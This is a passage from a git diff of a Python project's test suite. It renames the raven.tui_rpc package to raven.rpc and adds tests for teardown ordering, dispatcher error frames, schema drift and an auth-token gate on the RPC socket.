not stop a worker that is already inside + it. So teardown used to return -- through the stop that releases the index + lock -- while that worker went on to write the config, spawn the server and + write its pidfile. Worse, cancelling skips the handover to ``on_proc``, so the + backend does not even hold the child it just started, and nothing can clean + it up. + """ + from raven.cli import tui_commands + + backend = _ThreadStartBackend() + loop = _FakeLoop(backend=backend) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + stack = await bootstrap.build_rpc_stack(_sink) + # Polled rather than waited on: ``threading.Event.wait`` blocks this event + # loop, and the loop is what has to run for ``to_thread`` to be scheduled at + # all -- so waiting here would deadlock the thing being waited for. + for _ in range(500): + if backend.entered.is_set(): + break + await asyncio.sleep(0.01) + assert backend.entered.is_set(), "the worker never started" + + teardown = asyncio.create_task(stack.teardown()) + await asyncio.sleep(0.05) + assert not teardown.done(), "teardown must not return while the worker is mid-spawn" + + backend.gate.set() + await asyncio.wait_for(teardown, timeout=10) + + assert backend.events == ["thread-enter", "thread-side-effect", "stop"], backend.events + + +async def test_cancelling_the_start_could_not_have_bought_an_earlier_exit(monkeypatch) -> None: + """Why the wait is not on a timer. Both shipped clients reach teardown + through ``asyncio.run``, whose shutdown waits on the default executor -- so a + worker mid-spawn holds the process open whether or not the task was + cancelled. Cancelling only moves that same unavoidable wait to after the + stop, which is the one place it does damage. Driven in a real subprocess, + because it is loop *shutdown* that is the subject and pytest's loop outlives + the test. + """ + import subprocess + import sys + import textwrap + + program = textwrap.dedent( + """ + import asyncio, threading, time + + events = [] + gate = threading.Event() + + def spawn(): + events.append("thread-enter") + time.sleep(0.3) + events.append("thread-side-effect") + + async def start(): + await asyncio.to_thread(spawn) + + async def main(): + task = asyncio.create_task(start()) + await asyncio.sleep(0.05) + task.cancel() # the shape this test rejects + try: + await task + except asyncio.CancelledError: + pass + events.append("stop") + + began = time.monotonic() + asyncio.run(main()) + # asyncio.run has returned: loop shutdown waited for the worker anyway. + print(events, round(time.monotonic() - began, 2) >= 0.3) + """ + ) + proc = subprocess.run([sys.executable, "-c", program], capture_output=True, text=True, timeout=60) + + assert proc.returncode == 0, proc.stderr + recorded, waited_anyway = proc.stdout.strip().rsplit(" ", 1) + # Both halves of the argument, from one run: the side effect landed *after* + # the stop -- the ordering the teardown above exists to prevent -- and the + # process still did not exit until the worker was done, so cancelling bought + # nothing but that ordering. + assert recorded == "['thread-enter', 'stop', 'thread-side-effect']", recorded + assert waited_anyway == "True", "the runner waited for the worker regardless, so the cancel saved nothing" diff --git a/tests/test_tui_rpc_cli_dispatch.py b/tests/test_rpc_cli_dispatch.py similarity index 97% rename from tests/test_tui_rpc_cli_dispatch.py rename to tests/test_rpc_cli_dispatch.py index 631f593d..00ce4314 100644 --- a/tests/test_tui_rpc_cli_dispatch.py +++ b/tests/test_rpc_cli_dispatch.py @@ -1,4 +1,4 @@ -"""Tests for tui_rpc cli.dispatch handler + Console injection + ANSI filter. +"""Tests for rpc cli.dispatch handler + Console injection + ANSI filter. Acceptance is gated by: - `test_happy_path_fake_echo` — end-to-end dispatch + Console injection + width sync @@ -28,15 +28,15 @@ import pytest import typer -from raven.tui_rpc._ansi_filter import filter_ansi -from raven.tui_rpc._console_injection import _CONSOLE_HOSTS, inject_consoles -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.errors import ( +from raven.rpc._ansi_filter import filter_ansi +from raven.rpc._console_injection import _CONSOLE_HOSTS, inject_consoles +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.errors import ( CliCommandTimeoutError, ConfigValidationError, NotDispatchCompatibleError, ) -from raven.tui_rpc.methods.cli_dispatch import ( +from raven.rpc.methods.cli_dispatch import ( _is_dispatch_compatible, cli_dispatch, register_cli_methods, @@ -236,7 +236,7 @@ def test_blacklist_full_coverage(): wizard stdin hijack; `upgrade` blocks replacing the active Raven process. All are necessary because reflection will otherwise let them through. """ - from raven.tui_rpc.methods.cli_dispatch import _DISPATCH_BLACKLIST + from raven.rpc.methods.cli_dispatch import _DISPATCH_BLACKLIST expected_entries = { ("gateway",), @@ -368,7 +368,7 @@ def test_dispatch_agent_repl_blacklist_with_m_exception(): scope), so it's still rejected by whitelist — but NOT by the agent-REPL blacklist check (which is the salient distinction for the test). """ - from raven.tui_rpc.methods.cli_dispatch import _is_agent_repl + from raven.rpc.methods.cli_dispatch import _is_agent_repl assert _is_agent_repl(["agent"]) is True # REPL — blocked assert _is_agent_repl(["agent", "-m", "hi"]) is False # one-shot — agent-REPL doesn't fire @@ -580,8 +580,8 @@ async def test_concurrent_dispatches_serialized(fake_app_patch): async def test_dispatch_timeout_includes_confirm_grace(fake_app_patch, monkeypatch): """With a ConfirmBroker present, the dispatch wait_for budget = timeout_s + _CONFIRM_HARD_LIMIT_S (fixed enlargement).""" - from raven.tui_rpc import confirm_broker as cb - from raven.tui_rpc.confirm_broker import ConfirmBroker + from raven.rpc import confirm_broker as cb + from raven.rpc.confirm_broker import ConfirmBroker seen: list[float] = [] real_wait_for = asyncio.wait_for diff --git a/tests/test_tui_rpc_commands_catalog.py b/tests/test_rpc_commands_catalog.py similarity index 97% rename from tests/test_tui_rpc_commands_catalog.py rename to tests/test_rpc_commands_catalog.py index e014f7a4..4b5c0329 100644 --- a/tests/test_tui_rpc_commands_catalog.py +++ b/tests/test_rpc_commands_catalog.py @@ -7,14 +7,14 @@ - shape contract - canon contains known commands - excludes blacklist + REPL -- dispatch-compat lives in test_tui_rpc_cli_dispatch.py +- dispatch-compat lives in test_rpc_cli_dispatch.py """ from __future__ import annotations import pytest -from raven.tui_rpc.methods.commands import commands_catalog +from raven.rpc.methods.commands import commands_catalog @pytest.mark.asyncio @@ -200,7 +200,7 @@ async def test_skill_count_propagated_to_response(monkeypatch) -> None: Decoupled from SqliteStore so the test asserts the contract (catalog response surfaces the count) without binding to the store schema. """ - from raven.tui_rpc.methods import commands + from raven.rpc.methods import commands monkeypatch.setattr(commands, "_compute_skill_count", lambda: (42, None)) result = await commands.commands_catalog({}) @@ -213,7 +213,7 @@ async def test_skill_count_fallback_warning_propagated(monkeypatch) -> None: """REQ-5 fallback — when _compute_skill_count returns (0, warning) the response surfaces warning string + skill_count 0. """ - from raven.tui_rpc.methods import commands + from raven.rpc.methods import commands monkeypatch.setattr( commands, @@ -233,7 +233,7 @@ def test_compute_skill_count_fallback_zero_on_db_missing(monkeypatch, tmp_path) rather than propagating so the hermes UI never sees a broken catalog over skill counting. """ - from raven.tui_rpc.methods import commands + from raven.rpc.methods import commands def _explode() -> None: raise RuntimeError("config_missing") @@ -258,7 +258,7 @@ async def test_catalog_filters_hidden_typer_commands(monkeypatch) -> None: import typer as _typer import raven.cli.commands as ec_commands - from raven.tui_rpc.methods import commands + from raven.rpc.methods import commands fake = _typer.Typer(no_args_is_help=False) @@ -283,7 +283,7 @@ def test_catalog_filter_uses_dispatch_blacklist_constant() -> None: Imports the constant from cli_dispatch and asserts the filter function refers to it directly (no parallel hardcoded list in ``commands.py``). """ - from raven.tui_rpc.methods import cli_dispatch, commands + from raven.rpc.methods import cli_dispatch, commands # commands.py must NOT define its own _BLACKLIST / similar. has_local = any( diff --git a/tests/test_tui_rpc_config.py b/tests/test_rpc_config.py similarity index 96% rename from tests/test_tui_rpc_config.py rename to tests/test_rpc_config.py index 0fb7bccb..623775fc 100644 --- a/tests/test_tui_rpc_config.py +++ b/tests/test_rpc_config.py @@ -18,12 +18,12 @@ import pytest -from raven.tui_rpc.errors import ( +from raven.rpc.errors import ( ConfigFieldReadonlyError, ConfigValidationError, ModelNotAvailableError, ) -from raven.tui_rpc.methods.config import ( +from raven.rpc.methods.config import ( CONFIG_WRITABLE_KEYS, config_get, config_set, @@ -174,7 +174,7 @@ def set_provider(self, provider: object, model: str) -> None: async def test_config_set_model_reassigns_loop_and_persists(fake_home: Path, monkeypatch) -> None: - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod loop = _FakeLoop("old-prov", "old-model") new_provider = SimpleNamespace(name="new-prov") @@ -249,7 +249,7 @@ async def test_config_set_model_is_scoped_to_the_session_that_asked(fake_home: P """A session switching its own model must not move anyone else's, and must not rewrite the default a new session starts on. """ - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod (fake_home / ".raven").mkdir() (fake_home / ".raven" / "config.json").write_text( @@ -292,7 +292,7 @@ async def test_config_set_model_is_not_refused_mid_turn(fake_home: Path, monkeyp """The running turn holds the binding it started on, so the switch lands on the session's next turn rather than being rejected. """ - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod new_provider = SimpleNamespace(name="new-prov") loop = _FakeLoop("old-prov", "old-model") @@ -311,7 +311,7 @@ async def test_config_set_model_is_not_refused_mid_turn(fake_home: Path, monkeyp async def test_config_set_model_unconstructable_preserves_previous(fake_home: Path, monkeypatch) -> None: - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod (fake_home / ".raven").mkdir() (fake_home / ".raven" / "config.json").write_text( @@ -354,8 +354,8 @@ def _boom(_cfg): async def test_config_methods_registered_via_helper(fake_home: Path) -> None: - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods.config import register_config_methods + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods.config import register_config_methods d = Dispatcher() register_config_methods(d) @@ -465,7 +465,7 @@ async def test_a_session_switch_is_written_to_the_session_record(fake_home: Path """The in-memory override dies with the process, so the record is the only place the choice survives -- and a write nobody reads is worse than none. """ - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod from raven.session.manager import SessionManager new_provider = SimpleNamespace(name="new-prov") @@ -497,7 +497,7 @@ async def test_a_session_switch_is_written_to_the_session_record(fake_home: Path async def test_a_session_switch_reports_the_model_it_replaced(fake_home: Path, monkeypatch) -> None: """``previous`` is the session's own model, not the global default.""" - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod loop = _FakeLoop("old-prov", "boot-model") loop.session_bindings["tui:a"] = SimpleNamespace(provider=object(), model="was-on-this") @@ -530,7 +530,7 @@ async def test_a_switch_goes_through_the_pool_when_the_loop_has_one(fake_home: P """The pool is what makes a switch reuse a provider instead of rebuilding one per switch; without this the production path is never exercised. """ - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod asked: list[tuple[str, str | None]] = [] pooled = SimpleNamespace(provider=SimpleNamespace(name="pooled"), model="anthropic/claude-opus-4-8") @@ -577,7 +577,7 @@ async def test_a_session_scope_without_a_session_id_is_refused_not_widened(fake_ that never chose its own model -- from a request that asked for the opposite. """ - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod (fake_home / ".raven").mkdir() (fake_home / ".raven" / "config.json").write_text( @@ -618,7 +618,7 @@ async def test_a_default_scope_with_a_session_id_still_writes_the_default(fake_h silently becomes an override on the asking session -- the file is never written, so nothing a new session starts on ever changes. """ - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod (fake_home / ".raven").mkdir() (fake_home / ".raven" / "config.json").write_text( @@ -659,7 +659,7 @@ async def test_a_default_switch_reports_whether_it_moved_the_asking_session(fake switch moves it; a session with its own binding stays where it is. The client cannot see the difference, so the server answers it. """ - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod monkeypatch.setattr(config_mod, "make_provider", lambda _cfg: SimpleNamespace(name="new-prov")) monkeypatch.setattr( @@ -681,7 +681,7 @@ async def test_a_default_switch_reports_whether_it_moved_the_asking_session(fake async def test_a_session_switch_always_applies_to_its_own_session(fake_home: Path, monkeypatch) -> None: - import raven.tui_rpc.methods.config as config_mod + import raven.rpc.methods.config as config_mod monkeypatch.setattr(config_mod, "make_provider", lambda _cfg: SimpleNamespace(name="new-prov")) monkeypatch.setattr( @@ -702,8 +702,8 @@ async def test_a_model_switch_before_the_first_message_writes_no_session_file(tm session's first real save. Persisting the model here used to manufacture a zero-message record, which ``/sessions list`` then showed as an untitled row for every switch made before saying anything.""" + from raven.rpc.methods.config import _remember_session_model from raven.session.manager import SessionManager - from raven.tui_rpc.methods.config import _remember_session_model sessions = SessionManager(tmp_path) loop = SimpleNamespace(sessions=sessions) @@ -717,8 +717,8 @@ async def test_a_model_switch_before_the_first_message_writes_no_session_file(tm async def test_a_model_switch_on_a_saved_session_is_persisted_at_once(tmp_path) -> None: + from raven.rpc.methods.config import _remember_session_model from raven.session.manager import SessionManager - from raven.tui_rpc.methods.config import _remember_session_model sessions = SessionManager(tmp_path) record = sessions.get_or_create("tui:saved") diff --git a/tests/test_tui_rpc_confirm.py b/tests/test_rpc_confirm.py similarity index 95% rename from tests/test_tui_rpc_confirm.py rename to tests/test_rpc_confirm.py index 9649e1ad..7db7b168 100644 --- a/tests/test_tui_rpc_confirm.py +++ b/tests/test_rpc_confirm.py @@ -1,4 +1,4 @@ -"""Tests for tui_rpc confirm round-trip. +"""Tests for rpc confirm round-trip. Covers the ConfirmBroker (notification emit + request_id→Future registry + fail-safe), the confirm.respond handler + umbrella registration, and the @@ -15,11 +15,11 @@ import pytest import typer -from raven.tui_rpc import confirm_broker as cb -from raven.tui_rpc._confirm_injection import confirm_injection -from raven.tui_rpc.confirm_broker import ConfirmBroker -from raven.tui_rpc.methods.cli_dispatch import cli_dispatch -from raven.tui_rpc.methods.confirm import confirm_respond, register_confirm_methods +from raven.rpc import confirm_broker as cb +from raven.rpc._confirm_injection import confirm_injection +from raven.rpc.confirm_broker import ConfirmBroker +from raven.rpc.methods.cli_dispatch import cli_dispatch +from raven.rpc.methods.confirm import confirm_respond, register_confirm_methods def _frame_collector() -> tuple[list[dict], object]: @@ -210,7 +210,7 @@ async def test_confirm_respond_handler_unknown_id_returns_not_ok() -> None: async def test_register_confirm_methods_adds_respond() -> None: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher _frames, send_frame = _frame_collector() broker = ConfirmBroker(send_frame) @@ -304,7 +304,7 @@ async def test_non_tui_confirm_unchanged(fake_confirm_app) -> None: TUI's EOF pipe raises click.Abort, while pytest's captured stdin raises OSError — so we assert the invariant, not the specific error. The C1 Abort path is covered deterministically by - test_tui_rpc_cli_dispatch::test_abort_returns_confirmation_hint.) + test_rpc_cli_dispatch::test_abort_returns_confirmation_hint.) """ orig = typer.confirm result = await cli_dispatch({"argv": ["needs-confirm"], "width": 80}) diff --git a/tests/test_rpc_dispatcher.py b/tests/test_rpc_dispatcher.py new file mode 100644 index 00000000..bd977135 --- /dev/null +++ b/tests/test_rpc_dispatcher.py @@ -0,0 +1,91 @@ +"""The dispatcher's two last-resort guards must answer, not crash. + +``Dispatcher.dispatch`` is the only thing between a buggy handler and the +frame pump. Two of its guards had no coverage, and both of them exist because +a handler already violated the contract once: + +1. ``SystemExit`` — Click/Typer raise it even with ``standalone_mode=False``, + so any handler that reaches into the CLI can leak one. ``SystemExit`` + derives from ``BaseException``, *not* ``Exception``, so the generic + ``except Exception`` below it does not catch it: without the dedicated + branch the exception unwinds through ``_handle_frame`` and the caller's + request never gets a response. +2. A non-dict return — the ``Handler`` alias promises ``dict[str, Any]``, but + the annotation is not enforced at runtime. Returning a list would put + ``"result": [...]`` on the wire, which the TypeScript client decodes into + the wrong shape rather than failing loudly. + +Both must come back as a well-formed JSON-RPC error frame carrying the +request's own ``id``, because a client that never sees ``id`` again keeps the +pending promise forever. +""" + +from __future__ import annotations + +from typing import Any + +import pytest + +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.errors import INTERNAL_ERROR + + +def _request(method: str, rid: int = 1) -> dict[str, Any]: + return {"jsonrpc": "2.0", "id": rid, "method": method, "params": {}} + + +@pytest.mark.asyncio +async def test_system_exit_from_handler_becomes_an_error_frame() -> None: + """A handler leaking SystemExit gets converted, not propagated.""" + + async def _exits(_params: dict[str, Any]) -> dict[str, Any]: + raise SystemExit(2) + + disp = Dispatcher() + disp.register("test.exits", _exits) + + frame = await disp.dispatch(_request("test.exits", rid=7)) + + assert frame["id"] == 7, "the response must carry the request id back" + assert frame["error"]["code"] == INTERNAL_ERROR + assert frame["error"]["message"] == "internal_error" + assert frame["error"]["data"]["reason"] == "SystemExit from handler" + # The traceback tail is what makes this debuggable; it is capped at 12 + # lines by _truncate_traceback so a deep stack cannot bloat the frame. + assert frame["error"]["data"]["traceback_tail"] + assert "result" not in frame + + +@pytest.mark.asyncio +async def test_non_dict_handler_result_becomes_an_error_frame() -> None: + """A handler returning the wrong type is rejected at the boundary.""" + + async def _returns_list(_params: dict[str, Any]) -> Any: + return ["not", "a", "dict"] + + disp = Dispatcher() + disp.register("test.wrong_type", _returns_list) + + frame = await disp.dispatch(_request("test.wrong_type", rid=9)) + + assert frame["id"] == 9 + assert frame["error"]["code"] == INTERNAL_ERROR + # The concrete type name is in the payload so the fix does not need a + # server-side log dive. + assert frame["error"]["data"]["reason"] == "handler returned list, expected dict" + assert "result" not in frame + + +@pytest.mark.asyncio +async def test_a_dict_returning_handler_still_takes_the_result_path() -> None: + """Guard against the isinstance check drifting into rejecting valid dicts.""" + + async def _ok(_params: dict[str, Any]) -> dict[str, Any]: + return {"pong": True} + + disp = Dispatcher() + disp.register("test.ok", _ok) + + frame = await disp.dispatch(_request("test.ok", rid=11)) + + assert frame == {"jsonrpc": "2.0", "id": 11, "result": {"pong": True}} diff --git a/tests/test_tui_rpc_message_tool_route.py b/tests/test_rpc_message_tool_route.py similarity index 97% rename from tests/test_tui_rpc_message_tool_route.py rename to tests/test_rpc_message_tool_route.py index 32c8d32c..5694a84b 100644 --- a/tests/test_tui_rpc_message_tool_route.py +++ b/tests/test_rpc_message_tool_route.py @@ -2,7 +2,7 @@ The swap (message tool reply -> token stream) and its finally-restore live in ``AgentLoop.run_turn``; the synthetic tool.complete (Fix B) lives in -``TuiTurnRunner`` (raven/tui_rpc/spine.py). AC-1/AC-4 drive the real spine via +``TuiTurnRunner`` (raven/rpc/spine.py). AC-1/AC-4 drive the real spine via ``build_tui`` against a real AgentLoop whose provider fires the message tool; AC-2 drives run_turn directly for the restore variants; AC-3 stays at the AgentLoop layer (unchanged). @@ -103,7 +103,7 @@ def _req(session_key: str = "tui:default") -> TurnRequest: async def test_ac1_message_tool_content_routes_to_token_delta_event(workspace) -> None: - from raven.tui_rpc.spine import build_tui + from raven.rpc.spine import build_tui loop = _make_agent(workspace, _MessageToolProvider(content="hi from tool")) emitter = FakeEmitter() @@ -164,7 +164,7 @@ async def _noop_emit(_event) -> None: async def test_ac4_synthetic_tool_complete_before_message_complete(workspace) -> None: - from raven.tui_rpc.spine import build_tui + from raven.rpc.spine import build_tui loop = _make_agent(workspace) emitter = FakeEmitter() @@ -194,7 +194,7 @@ async def chat_stream(self, **kwargs): def get_default_model(self) -> str: return "fake/model" - from raven.tui_rpc.spine import build_tui + from raven.rpc.spine import build_tui loop = _make_agent(workspace, _PlainProvider()) emitter = FakeEmitter() diff --git a/tests/test_tui_rpc_model.py b/tests/test_rpc_model.py similarity index 97% rename from tests/test_tui_rpc_model.py rename to tests/test_rpc_model.py index dedb5d45..bc753762 100644 --- a/tests/test_tui_rpc_model.py +++ b/tests/test_rpc_model.py @@ -2,7 +2,7 @@ The eight handlers wrap ``raven.config.update_providers`` write/read helpers plus the provider registry. Config is sandboxed by redirecting ``Path.home()`` -to a tmp dir (same mechanism as ``test_tui_rpc_config`` / ``test_tui_rpc_setup``) +to a tmp dir (same mechanism as ``test_rpc_config`` / ``test_rpc_setup``) so the real user config is never touched. No network is hit. """ @@ -15,9 +15,9 @@ from raven.providers.common_models import common_models_for from raven.providers.registry import PROVIDERS -from raven.tui_rpc.errors import ConfigValidationError, NotSupportedInV01Error -from raven.tui_rpc.methods import model as model_module -from raven.tui_rpc.methods.model import ( +from raven.rpc.errors import ConfigValidationError, NotSupportedInV01Error +from raven.rpc.methods import model as model_module +from raven.rpc.methods.model import ( model_add_endpoint, model_add_model, model_disconnect, @@ -372,8 +372,8 @@ async def test_endpoint_handlers_accept_session_id(fake_home: Path) -> None: async def test_model_methods_registered_via_helper(fake_home: Path) -> None: - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods.model import register_model_methods + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods.model import register_model_methods _write_config(fake_home, {"agents": {"defaults": {"model": "anthropic/claude-sonnet-4-5"}}}) d = Dispatcher() @@ -591,7 +591,7 @@ def test_the_catalogue_is_not_read_until_the_picker_is_opened() -> None: probe = ( "import sys, json\n" - "import raven.tui_rpc.methods.model # noqa: F401\n" + "import raven.rpc.methods.model # noqa: F401\n" "before = 'litellm' in sys.modules\n" "from raven.providers.common_models import litellm_models_for\n" "n = len(litellm_models_for('moonshot'))\n" @@ -723,7 +723,7 @@ def test_the_account_catalogue_is_asked_only_when_it_can_answer( ) -> None: """A network round trip that can only fail is still cached as a failure, which is what left codex empty for half a minute after signing in to it.""" - from raven.tui_rpc.methods.model import _provider_models + from raven.rpc.methods.model import _provider_models monkeypatch.setattr( "raven.providers.codex_catalog.account_models", @@ -758,7 +758,7 @@ def test_a_typed_model_is_stored_the_way_it_resolves_back(slug: str, typed: str, the URL builder, which is where that belongs -- storing it bare was the one thing that made Azure ids shaped unlike everyone else's. """ - from raven.tui_rpc.methods.model import _stored_spelling + from raven.rpc.methods.model import _stored_spelling assert _stored_spelling(slug, typed) == stored @@ -771,7 +771,7 @@ def test_every_provider_stores_a_model_id_that_finds_it_again(spec) -> None: the id verbatim are covered by resolving as themselves. """ from raven.providers.registry import find_by_model - from raven.tui_rpc.methods.model import _stored_spelling + from raven.rpc.methods.model import _stored_spelling stored = _stored_spelling(spec.name, "some-model") resolved = find_by_model(stored) @@ -785,7 +785,7 @@ async def test_options_reports_the_session_model_when_that_session_switched() -> """ from types import SimpleNamespace - from raven.tui_rpc.methods.model import model_options + from raven.rpc.methods.model import model_options loop = SimpleNamespace( has_session_binding=lambda key: key == "tui:a", @@ -808,7 +808,7 @@ async def test_options_reports_a_passthrough_vendor_from_the_id_it_stored(fake_h from types import SimpleNamespace from raven.providers.registry import find_by_model - from raven.tui_rpc.methods.model import model_options + from raven.rpc.methods.model import model_options assert find_by_model("mistral/mistral-large-latest") is None, "fixture must be a vendor we have no spec for" @@ -837,7 +837,7 @@ async def test_options_stars_nothing_rather_than_the_wrong_row_for_an_unknown_he """ from types import SimpleNamespace - from raven.tui_rpc.methods.model import model_options + from raven.rpc.methods.model import model_options _write_config( fake_home, @@ -863,7 +863,7 @@ async def test_options_leaves_an_unswitched_session_on_the_configured_answer() - """ from types import SimpleNamespace - from raven.tui_rpc.methods.model import _current_selection, model_options + from raven.rpc.methods.model import _current_selection, model_options configured_model, configured_provider = _current_selection() loop = SimpleNamespace( @@ -886,8 +886,8 @@ async def test_the_production_registration_makes_model_options_session_aware(fak picker reports the configured default to every session, and calling ``model_options`` directly would never notice. """ - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods import register_aligned_methods_except_system + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods import register_aligned_methods_except_system _write_config(fake_home, {"agents": {"defaults": {"model": "anthropic/claude-sonnet-4-5"}}}) diff --git a/tests/test_tui_rpc_reasoning_render.py b/tests/test_rpc_reasoning_render.py similarity index 100% rename from tests/test_tui_rpc_reasoning_render.py rename to tests/test_rpc_reasoning_render.py diff --git a/tests/test_tui_rpc_reload.py b/tests/test_rpc_reload.py similarity index 91% rename from tests/test_tui_rpc_reload.py rename to tests/test_rpc_reload.py index b2e5b07e..d47f962c 100644 --- a/tests/test_tui_rpc_reload.py +++ b/tests/test_rpc_reload.py @@ -6,8 +6,8 @@ from __future__ import annotations -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods.reload import register_reload_methods, reload_mcp +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods.reload import register_reload_methods, reload_mcp async def test_reload_mcp_returns_no_op_shape() -> None: diff --git a/tests/test_rpc_schema_match.py b/tests/test_rpc_schema_match.py index b9930491..2d626697 100644 --- a/tests/test_rpc_schema_match.py +++ b/tests/test_rpc_schema_match.py @@ -1,4 +1,4 @@ -"""Schema-match test: Pydantic models (raven.tui_rpc.models) ↔ OpenRPC schema. +"""Schema-match test: Pydantic models (raven.rpc.models) ↔ OpenRPC schema. This test is the CI guardrail that catches drift between the single source of truth (``ui-tui/rpc-schema/openrpc.json``) and the Python-side Pydantic models. @@ -34,7 +34,7 @@ import pytest from pydantic import BaseModel -from raven.tui_rpc.models import METHOD_MODELS +from raven.rpc.models import METHOD_MODELS SCHEMA_PATH = Path(__file__).resolve().parent.parent / "ui-tui" / "rpc-schema" / "openrpc.json" @@ -357,7 +357,7 @@ def test_schema_match_turn_event_discriminated_union(schema: dict[str, Any]) -> """ from pydantic import TypeAdapter - from raven.tui_rpc.models import TurnEvent + from raven.rpc.models import TurnEvent oas = schema["components"]["schemas"]["TurnEvent"] assert oas.get("discriminator", {}).get("propertyName") == "type" @@ -376,6 +376,44 @@ def test_schema_match_turn_event_discriminated_union(schema: dict[str, Any]) -> assert oas_normal == pyd_normal, f"TurnEvent discriminator mapping drift: schema={oas_normal} vs pyd={pyd_normal}" +def test_schema_match_turn_event_payload_fields(schema: dict[str, Any]) -> None: + """Every variant's payload must declare the same fields on both sides. + + The union test above compares only the *set of variants*, so a field added to + one side alone passes it. That is not a cosmetic drift: both sides declare + ``additionalProperties: false`` / ``extra="forbid"``, so a consumer + validating against the schema rejects the *whole event* rather than the + unknown field, and a client loses the tool result entirely. + + Compares names only. Types are left to the per-method sweep: an event payload + reuses the same component schemas, and a name mismatch is the failure this + contract actually suffers. + """ + from pydantic import TypeAdapter + + from raven.rpc.models import TurnEvent + + components = schema["components"]["schemas"] + oas_mapping = components["TurnEvent"]["discriminator"]["mapping"] + pyd = TypeAdapter(TurnEvent).json_schema() + pyd_defs = pyd["$defs"] + + def properties(node: dict[str, Any], defs: dict[str, Any]) -> set[str]: + payload = node["properties"].get("payload", {}) + if "$ref" in payload: + payload = defs[payload["$ref"].split("/")[-1]] + return set(payload.get("properties", {})) + + drift: dict[str, tuple[list[str], list[str]]] = {} + for literal, ref in pyd["discriminator"]["mapping"].items(): + pyd_fields = properties(pyd_defs[ref.split("/")[-1]], pyd_defs) + oas_fields = properties(components[oas_mapping[literal].split("/")[-1]], components) + if pyd_fields != oas_fields: + drift[literal] = (sorted(pyd_fields - oas_fields), sorted(oas_fields - pyd_fields)) + + assert not drift, "payload field drift (pydantic-only, schema-only): " + repr(drift) + + # Parametrized full-suite sweep — one test instance per method. This is the # primary CI guard; the three explicit tests above are sentinels with extra # context-rich failure modes. diff --git a/tests/test_tui_rpc_server_socket.py b/tests/test_rpc_server_socket.py similarity index 74% rename from tests/test_tui_rpc_server_socket.py rename to tests/test_rpc_server_socket.py index 9010a909..00eaa0cf 100644 --- a/tests/test_tui_rpc_server_socket.py +++ b/tests/test_rpc_server_socket.py @@ -26,6 +26,22 @@ 3. ``test_pipe_path_still_works`` — keeps the legacy bare ``os.pipe()`` transport path covered so non-socket callers (e.g. the v0.0.1 demo runner) keep working. + +A second, independent concern lives in the same file because it shares the +socket-pair fixture: the **trust-boundary gate**. When ``auth_token`` is set +(the TCP-loopback production transport), the peer MUST send the shared secret +as its first newline-terminated line. Both rejection paths close the +connection before any dispatch, and both had no coverage: + +4. ``test_auth_token_mismatch_closes_the_connection`` — a rogue local process + that guesses the port but not the secret. +5. ``test_auth_token_never_sent_closes_the_connection`` — the peer connects + and hangs up without speaking. Reached via ``IncompleteReadError`` (EOF), + which is why the test does not have to wait out the 10 s timeout. + +Both assert *behaviourally* — ``serve_forever`` returns and a follow-up +request draws no response — rather than reading a private flag, so the gate +stays covered if the rejection is reimplemented. """ from __future__ import annotations @@ -41,9 +57,9 @@ import pytest -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods import register_aligned_methods -from raven.tui_rpc.server import RpcServer +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods import register_aligned_methods +from raven.rpc.server import RpcServer # --------------------------------------------------------------------------- # Helpers @@ -280,3 +296,59 @@ async def test_pipe_path_still_works() -> None: os.close(fd) except OSError: pass + + +# --------------------------------------------------------------------------- +# Trust-boundary gate (auth_token) +# --------------------------------------------------------------------------- + + +async def _serve_with_auth(token: str) -> tuple[RpcServer, asyncio.Task, socket.socket, socket.socket, Path]: + """Start an RpcServer over a socket pair with the auth gate armed. + + Uses the ``sock=`` constructor path (the cross-platform production + transport) because that is the only one that arms ``auth_token``. + """ + server_sock, client, conn, tmp = await _wire_paired_socket() + disp = Dispatcher() + register_aligned_methods(disp) + server = RpcServer(sock=conn, dispatcher=disp, auth_token=token) + serve_task = asyncio.create_task(server.serve_forever()) + await server.started.wait() + return server, serve_task, client, server_sock, tmp + + +@pytest.mark.asyncio +async def test_auth_token_mismatch_closes_the_connection() -> None: + """A wrong first line is rejected before any frame is dispatched.""" + _server, serve_task, client, server_sock, _tmp = await _serve_with_auth("correct-horse") + loop = asyncio.get_running_loop() + try: + await loop.sock_sendall(client, b"wrong-token\n") + + # serve_forever must return on its own; it does not hang waiting for + # frames from a peer it just rejected. + await asyncio.wait_for(serve_task, timeout=2.0) + + # And a well-formed request that arrives afterwards draws nothing: + # the gate closed before the dispatch loop was ever entered. + await _send(client, "system.ping", {}, 1) + assert await _read_one_frame(client, timeout=0.5) == b"", "rejected peer still got a response" + finally: + client.close() + server_sock.close() + + +@pytest.mark.asyncio +async def test_auth_token_never_sent_closes_the_connection() -> None: + """A peer that connects and hangs up without speaking is rejected.""" + _server, serve_task, client, server_sock, _tmp = await _serve_with_auth("correct-horse") + try: + # Hanging up gives the reader EOF -> IncompleteReadError, so this + # exercises the same branch as a 10 s timeout would without the wait. + client.shutdown(socket.SHUT_WR) + + await 